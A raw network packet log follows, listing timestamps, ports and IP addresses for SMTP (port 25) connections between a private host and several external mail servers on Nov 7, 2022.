Nov 7, 2022 22:24:43.484304905 CET	25	49788	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:43.484327078 CET	25	49788	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:43.484347105 CET	25	49788	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:43.484368086 CET	25	49788	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:43.484386921 CET	25	49788	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:43.484406948 CET	25	49788	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:43.484427929 CET	25	49788	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:43.484447956 CET	25	49788	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:43.484467983 CET	25	49788	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:43.484507084 CET	25	49788	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:43.484528065 CET	25	49788	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:43.484550953 CET	25	49788	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:43.484575987 CET	25	49788	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:43.484596014 CET	25	49788	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:43.484616041 CET	25	49788	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:43.484637022 CET	25	49788	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:43.484657049 CET	25	49788	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:43.484678984 CET	25	49788	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:43.484699965 CET	25	49788	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:43.484719992 CET	25	49788	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:43.484740973 CET	25	49788	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:43.484761000 CET	25	49788	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:43.484781981 CET	25	49788	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:43.484802961 CET	25	49788	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:43.484823942 CET	25	49788	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:43.484848022 CET	25	49788	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:43.484885931 CET	25	49788	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:43.484908104 CET	25	49788	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:43.484931946 CET	25	49788	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:43.484952927 CET	25	49788	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:43.484973907 CET	25	49788	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:43.484996080 CET	25	49788	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:43.485017061 CET	25	49788	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:43.485038042 CET	25	49788	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:43.485059023 CET	25	49788	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:43.485080004 CET	25	49788	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:43.485104084 CET	25	49788	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:43.485122919 CET	25	49788	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:43.485145092 CET	25	49788	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:43.485167027 CET	25	49788	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:43.485188007 CET	25	49788	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:43.485209942 CET	25	49788	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:43.485229969 CET	25	49788	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:43.485270977 CET	25	49788	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:43.485295057 CET	25	49788	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:43.485317945 CET	25	49788	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:43.485337973 CET	25	49788	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:43.485371113 CET	25	49788	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:43.485407114 CET	25	49788	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:43.485440969 CET	25	49788	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:43.485829115 CET	49778	25	192.168.2.5	74.125.200.26
Nov 7, 2022 22:24:43.486013889 CET	49788	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:24:43.540219069 CET	25	49788	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:43.543332100 CET	25	49788	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:43.543368101 CET	25	49788	142.250.150.26	192.168.2.5
Nov 7, 2022 22:24:43.543513060 CET	49788	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:24:43.692538023 CET	25	49778	74.125.200.26	192.168.2.5
Nov 7, 2022 22:24:43.692804098 CET	49778	25	192.168.2.5	74.125.200.26
Nov 7, 2022 22:24:43.806333065 CET	49795	25	192.168.2.5	74.125.200.26
Nov 7, 2022 22:24:43.829063892 CET	49797	25	192.168.2.5	142.250.102.26
Nov 7, 2022 22:24:43.829179049 CET	49788	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:24:43.849611044 CET	25	49778	74.125.200.26	192.168.2.5
Nov 7, 2022 22:24:43.849659920 CET	25	49778	74.125.200.26	192.168.2.5
Nov 7, 2022 22:24:43.849685907 CET	25	49778	74.125.200.26	192.168.2.5
Nov 7, 2022 22:24:43.849711895 CET	49778	25	192.168.2.5	74.125.200.26
Nov 7, 2022 22:24:43.849715948 CET	25	49778	74.125.200.26	192.168.2.5
Nov 7, 2022 22:24:43.849742889 CET	25	49778	74.125.200.26	192.168.2.5
Nov 7, 2022 22:24:43.849755049 CET	49778	25	192.168.2.5	74.125.200.26
Nov 7, 2022 22:24:43.849770069 CET	25	49778	74.125.200.26	192.168.2.5
Nov 7, 2022 22:24:43.849782944 CET	49778	25	192.168.2.5	74.125.200.26
Nov 7, 2022 22:24:43.849797964 CET	25	49778	74.125.200.26	192.168.2.5
Nov 7, 2022 22:24:43.849802017 CET	49778	25	192.168.2.5	74.125.200.26
Nov 7, 2022 22:24:43.849823952 CET	25	49778	74.125.200.26	192.168.2.5
Nov 7, 2022 22:24:43.849829912 CET	49778	25	192.168.2.5	74.125.200.26
Nov 7, 2022 22:24:43.849849939 CET	25	49778	74.125.200.26	192.168.2.5
Nov 7, 2022 22:24:43.849852085 CET	49778	25	192.168.2.5	74.125.200.26
Nov 7, 2022 22:24:43.849891901 CET	49778	25	192.168.2.5	74.125.200.26
Nov 7, 2022 22:24:43.849920988 CET	49778	25	192.168.2.5	74.125.200.26
Nov 7, 2022 22:24:43.856090069 CET	25	49797	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:43.856194019 CET	49797	25	192.168.2.5	142.250.102.26
Nov 7, 2022 22:24:43.895047903 CET	25	49797	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:43.895328999 CET	49797	25	192.168.2.5	142.250.102.26
Nov 7, 2022 22:24:43.922091961 CET	25	49797	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:43.982908964 CET	25	49797	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:44.024846077 CET	49797	25	192.168.2.5	142.250.102.26
Nov 7, 2022 22:24:44.056687117 CET	25	49797	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:44.056736946 CET	25	49778	74.125.200.26	192.168.2.5
Nov 7, 2022 22:24:44.056925058 CET	49778	25	192.168.2.5	74.125.200.26
Nov 7, 2022 22:24:44.056971073 CET	49797	25	192.168.2.5	142.250.102.26
Nov 7, 2022 22:24:44.090037107 CET	25	49797	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:44.166199923 CET	25	49795	74.125.200.26	192.168.2.5
Nov 7, 2022 22:24:44.168093920 CET	49795	25	192.168.2.5	74.125.200.26
Nov 7, 2022 22:24:44.213402987 CET	25	49797	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:44.213911057 CET	25	49778	74.125.200.26	192.168.2.5
Nov 7, 2022 22:24:44.213948965 CET	25	49778	74.125.200.26	192.168.2.5
Nov 7, 2022 22:24:44.213962078 CET	25	49778	74.125.200.26	192.168.2.5
Nov 7, 2022 22:24:44.213973045 CET	25	49778	74.125.200.26	192.168.2.5
Nov 7, 2022 22:24:44.213984013 CET	25	49778	74.125.200.26	192.168.2.5
Nov 7, 2022 22:24:44.213994980 CET	25	49778	74.125.200.26	192.168.2.5
Nov 7, 2022 22:24:44.214008093 CET	25	49778	74.125.200.26	192.168.2.5
Nov 7, 2022 22:24:44.214019060 CET	25	49778	74.125.200.26	192.168.2.5
Nov 7, 2022 22:24:44.214030027 CET	25	49778	74.125.200.26	192.168.2.5
Nov 7, 2022 22:24:44.214040041 CET	25	49778	74.125.200.26	192.168.2.5
Nov 7, 2022 22:24:44.214056015 CET	49778	25	192.168.2.5	74.125.200.26
Nov 7, 2022 22:24:44.214056015 CET	49778	25	192.168.2.5	74.125.200.26
Nov 7, 2022 22:24:44.214075089 CET	25	49778	74.125.200.26	192.168.2.5
Nov 7, 2022 22:24:44.214087009 CET	25	49778	74.125.200.26	192.168.2.5
Nov 7, 2022 22:24:44.214097023 CET	25	49778	74.125.200.26	192.168.2.5
Nov 7, 2022 22:24:44.214206934 CET	49778	25	192.168.2.5	74.125.200.26
Nov 7, 2022 22:24:44.214236975 CET	49778	25	192.168.2.5	74.125.200.26
Nov 7, 2022 22:24:44.214476109 CET	25	49778	74.125.200.26	192.168.2.5
Nov 7, 2022 22:24:44.214490891 CET	25	49778	74.125.200.26	192.168.2.5
Nov 7, 2022 22:24:44.214503050 CET	25	49778	74.125.200.26	192.168.2.5
Nov 7, 2022 22:24:44.214514017 CET	25	49778	74.125.200.26	192.168.2.5
Nov 7, 2022 22:24:44.214524984 CET	25	49778	74.125.200.26	192.168.2.5
Nov 7, 2022 22:24:44.214601040 CET	49778	25	192.168.2.5	74.125.200.26
Nov 7, 2022 22:24:44.214601040 CET	49778	25	192.168.2.5	74.125.200.26
Nov 7, 2022 22:24:44.277654886 CET	49797	25	192.168.2.5	142.250.102.26
Nov 7, 2022 22:24:44.306139946 CET	25	49797	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:44.312908888 CET	25	49797	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:44.372627020 CET	49797	25	192.168.2.5	142.250.102.26
Nov 7, 2022 22:24:44.385119915 CET	49797	25	192.168.2.5	142.250.102.26
Nov 7, 2022 22:24:44.404043913 CET	25	49797	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:44.412378073 CET	25	49797	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:44.412494898 CET	49797	25	192.168.2.5	142.250.102.26
Nov 7, 2022 22:24:44.412602901 CET	25	49797	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:44.412617922 CET	25	49797	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:44.412627935 CET	25	49797	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:44.412744999 CET	49797	25	192.168.2.5	142.250.102.26
Nov 7, 2022 22:24:44.413079023 CET	25	49797	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:44.413188934 CET	49797	25	192.168.2.5	142.250.102.26
Nov 7, 2022 22:24:44.413233995 CET	25	49797	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:44.413325071 CET	25	49797	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:44.413347006 CET	25	49797	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:44.413367033 CET	25	49797	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:44.413387060 CET	25	49797	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:44.413424015 CET	49797	25	192.168.2.5	142.250.102.26
Nov 7, 2022 22:24:44.420675993 CET	25	49778	74.125.200.26	192.168.2.5
Nov 7, 2022 22:24:44.420715094 CET	25	49778	74.125.200.26	192.168.2.5
Nov 7, 2022 22:24:44.420809031 CET	49778	25	192.168.2.5	74.125.200.26
Nov 7, 2022 22:24:44.420855045 CET	49778	25	192.168.2.5	74.125.200.26
Nov 7, 2022 22:24:44.442008018 CET	25	49797	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:44.442033052 CET	25	49797	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:44.442159891 CET	49797	25	192.168.2.5	142.250.102.26
Nov 7, 2022 22:24:44.442208052 CET	25	49797	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:44.442276001 CET	25	49797	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:44.442279100 CET	49797	25	192.168.2.5	142.250.102.26
Nov 7, 2022 22:24:44.442347050 CET	49797	25	192.168.2.5	142.250.102.26
Nov 7, 2022 22:24:44.442414999 CET	25	49797	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:44.442428112 CET	25	49797	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:44.442440987 CET	25	49797	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:44.442452908 CET	25	49797	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:44.442464113 CET	25	49797	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:44.442475080 CET	25	49797	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:44.442487001 CET	25	49797	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:44.442498922 CET	25	49797	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:44.442511082 CET	25	49797	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:44.442522049 CET	25	49797	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:44.442533016 CET	25	49797	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:44.442539930 CET	49797	25	192.168.2.5	142.250.102.26
Nov 7, 2022 22:24:44.442576885 CET	49797	25	192.168.2.5	142.250.102.26
Nov 7, 2022 22:24:44.442605019 CET	49797	25	192.168.2.5	142.250.102.26
Nov 7, 2022 22:24:44.442605019 CET	49797	25	192.168.2.5	142.250.102.26
Nov 7, 2022 22:24:44.469654083 CET	25	49797	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:44.469690084 CET	25	49797	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:44.469707012 CET	25	49797	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:44.469723940 CET	25	49797	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:44.469739914 CET	25	49797	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:44.469757080 CET	25	49797	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:44.469773054 CET	25	49797	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:44.469788074 CET	25	49797	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:44.469805956 CET	25	49797	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:44.469821930 CET	25	49797	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:44.469837904 CET	25	49797	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:44.469854116 CET	25	49797	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:44.469870090 CET	25	49797	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:44.469886065 CET	25	49797	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:44.469896078 CET	49797	25	192.168.2.5	142.250.102.26
Nov 7, 2022 22:24:44.469974995 CET	49797	25	192.168.2.5	142.250.102.26
Nov 7, 2022 22:24:44.470017910 CET	49797	25	192.168.2.5	142.250.102.26
Nov 7, 2022 22:24:44.470017910 CET	49797	25	192.168.2.5	142.250.102.26
Nov 7, 2022 22:24:44.470170975 CET	25	49797	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:44.470191002 CET	25	49797	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:44.470207930 CET	25	49797	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:44.470282078 CET	25	49797	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:44.470290899 CET	49797	25	192.168.2.5	142.250.102.26
Nov 7, 2022 22:24:44.470299006 CET	25	49797	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:44.470315933 CET	25	49797	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:44.470316887 CET	49797	25	192.168.2.5	142.250.102.26
Nov 7, 2022 22:24:44.470333099 CET	25	49797	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:44.470350981 CET	25	49797	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:44.470366955 CET	25	49797	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:44.470377922 CET	25	49797	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:44.470391989 CET	49797	25	192.168.2.5	142.250.102.26
Nov 7, 2022 22:24:44.470396996 CET	25	49797	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:44.470417023 CET	25	49797	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:44.470432997 CET	25	49797	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:44.470438004 CET	49797	25	192.168.2.5	142.250.102.26
Nov 7, 2022 22:24:44.470438004 CET	49797	25	192.168.2.5	142.250.102.26
Nov 7, 2022 22:24:44.470438004 CET	49797	25	192.168.2.5	142.250.102.26
Nov 7, 2022 22:24:44.470449924 CET	25	49797	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:44.470468044 CET	25	49797	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:44.470480919 CET	49797	25	192.168.2.5	142.250.102.26
Nov 7, 2022 22:24:44.470480919 CET	49797	25	192.168.2.5	142.250.102.26
Nov 7, 2022 22:24:44.470529079 CET	49797	25	192.168.2.5	142.250.102.26
Nov 7, 2022 22:24:44.470973969 CET	25	49797	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:44.470998049 CET	25	49797	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:44.471014023 CET	25	49797	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:44.471029997 CET	25	49797	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:44.471048117 CET	25	49797	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:44.471066952 CET	25	49797	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:44.471084118 CET	25	49797	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:44.471096039 CET	25	49797	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:44.471112967 CET	25	49797	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:44.471123934 CET	25	49797	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:44.471126080 CET	49797	25	192.168.2.5	142.250.102.26
Nov 7, 2022 22:24:44.471137047 CET	25	49797	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:44.471158981 CET	49797	25	192.168.2.5	142.250.102.26
Nov 7, 2022 22:24:44.471158981 CET	49797	25	192.168.2.5	142.250.102.26
Nov 7, 2022 22:24:44.471210003 CET	49797	25	192.168.2.5	142.250.102.26
Nov 7, 2022 22:24:44.471600056 CET	25	49797	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:44.471620083 CET	25	49797	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:44.471637011 CET	25	49797	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:44.474828959 CET	25	49795	74.125.200.26	192.168.2.5
Nov 7, 2022 22:24:44.474910021 CET	49795	25	192.168.2.5	74.125.200.26
Nov 7, 2022 22:24:44.496206045 CET	25	49797	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:44.496237040 CET	25	49797	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:44.496249914 CET	25	49797	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:44.496265888 CET	25	49797	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:44.496273994 CET	25	49797	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:44.496280909 CET	25	49797	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:44.496378899 CET	25	49797	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:44.496417046 CET	25	49797	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:44.496440887 CET	49797	25	192.168.2.5	142.250.102.26
Nov 7, 2022 22:24:44.496440887 CET	49797	25	192.168.2.5	142.250.102.26
Nov 7, 2022 22:24:44.496490002 CET	25	49797	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:44.496499062 CET	49797	25	192.168.2.5	142.250.102.26
Nov 7, 2022 22:24:44.496499062 CET	49797	25	192.168.2.5	142.250.102.26
Nov 7, 2022 22:24:44.496555090 CET	49797	25	192.168.2.5	142.250.102.26
Nov 7, 2022 22:24:44.496581078 CET	25	49797	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:44.496598005 CET	25	49797	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:44.496613979 CET	25	49797	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:44.496629000 CET	25	49797	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:44.496644974 CET	25	49797	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:44.496653080 CET	49797	25	192.168.2.5	142.250.102.26
Nov 7, 2022 22:24:44.496660948 CET	25	49797	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:44.496680021 CET	25	49797	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:44.496690035 CET	49797	25	192.168.2.5	142.250.102.26
Nov 7, 2022 22:24:44.496737003 CET	49797	25	192.168.2.5	142.250.102.26
Nov 7, 2022 22:24:44.496757984 CET	25	49797	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:44.496758938 CET	49797	25	192.168.2.5	142.250.102.26
Nov 7, 2022 22:24:44.496813059 CET	49797	25	192.168.2.5	142.250.102.26
Nov 7, 2022 22:24:44.496829033 CET	25	49797	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:44.496871948 CET	25	49797	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:44.496887922 CET	25	49797	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:44.496900082 CET	25	49797	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:44.496912003 CET	25	49797	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:44.496927023 CET	25	49797	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:44.496939898 CET	49797	25	192.168.2.5	142.250.102.26
Nov 7, 2022 22:24:44.496943951 CET	25	49797	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:44.496978045 CET	49797	25	192.168.2.5	142.250.102.26
Nov 7, 2022 22:24:44.497016907 CET	49797	25	192.168.2.5	142.250.102.26
Nov 7, 2022 22:24:44.497286081 CET	25	49797	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:44.497355938 CET	25	49797	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:44.497368097 CET	25	49797	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:44.497379065 CET	25	49797	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:44.497390985 CET	25	49797	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:44.497401953 CET	25	49797	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:44.497414112 CET	25	49797	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:44.497425079 CET	25	49797	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:44.497452021 CET	49797	25	192.168.2.5	142.250.102.26
Nov 7, 2022 22:24:44.497505903 CET	49797	25	192.168.2.5	142.250.102.26
Nov 7, 2022 22:24:44.497536898 CET	25	49797	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:44.497553110 CET	25	49797	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:44.497562885 CET	25	49797	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:44.497575045 CET	25	49797	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:44.497618914 CET	49797	25	192.168.2.5	142.250.102.26
Nov 7, 2022 22:24:44.497658014 CET	49797	25	192.168.2.5	142.250.102.26
Nov 7, 2022 22:24:44.498354912 CET	25	49797	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:44.498378038 CET	25	49797	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:44.498394966 CET	25	49797	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:44.498408079 CET	25	49797	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:44.498420000 CET	25	49797	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:44.498431921 CET	25	49797	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:44.498442888 CET	25	49797	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:44.498455048 CET	25	49797	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:44.498466969 CET	49797	25	192.168.2.5	142.250.102.26
Nov 7, 2022 22:24:44.498471022 CET	25	49797	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:44.498487949 CET	25	49797	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:44.498506069 CET	25	49797	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:44.498516083 CET	49797	25	192.168.2.5	142.250.102.26
Nov 7, 2022 22:24:44.498554945 CET	25	49797	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:44.498620987 CET	49797	25	192.168.2.5	142.250.102.26
Nov 7, 2022 22:24:44.498658895 CET	49797	25	192.168.2.5	142.250.102.26
Nov 7, 2022 22:24:44.499068975 CET	25	49797	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:44.499083996 CET	25	49797	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:44.499095917 CET	25	49797	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:44.499106884 CET	25	49797	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:44.499118090 CET	25	49797	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:44.499129057 CET	25	49797	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:44.499145985 CET	25	49797	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:44.499161959 CET	25	49797	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:44.499176979 CET	25	49797	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:44.499211073 CET	25	49797	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:44.499222994 CET	25	49797	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:44.499254942 CET	25	49797	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:44.499316931 CET	25	49797	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:44.499329090 CET	25	49797	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:44.499341011 CET	25	49797	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:44.499351978 CET	25	49797	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:44.499363899 CET	25	49797	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:44.499375105 CET	25	49797	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:44.499386072 CET	25	49797	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:44.499397039 CET	25	49797	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:44.499748945 CET	25	49797	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:44.499763012 CET	25	49797	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:44.499774933 CET	25	49797	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:44.499825954 CET	25	49797	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:44.499861956 CET	25	49797	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:44.499881983 CET	25	49797	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:44.499891996 CET	25	49797	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:44.523334026 CET	25	49797	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:44.523367882 CET	25	49797	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:44.523386002 CET	25	49797	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:44.523401976 CET	25	49797	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:44.523416996 CET	25	49797	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:44.523430109 CET	25	49797	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:44.523477077 CET	25	49797	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:44.523489952 CET	25	49797	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:44.523502111 CET	25	49797	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:44.523513079 CET	25	49797	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:44.523525000 CET	25	49797	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:44.523535967 CET	25	49797	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:44.523547888 CET	25	49797	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:44.523560047 CET	25	49797	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:44.523571968 CET	25	49797	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:44.523582935 CET	25	49797	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:44.523595095 CET	25	49797	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:44.523606062 CET	25	49797	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:44.523617029 CET	25	49797	142.250.102.26	192.168.2.5
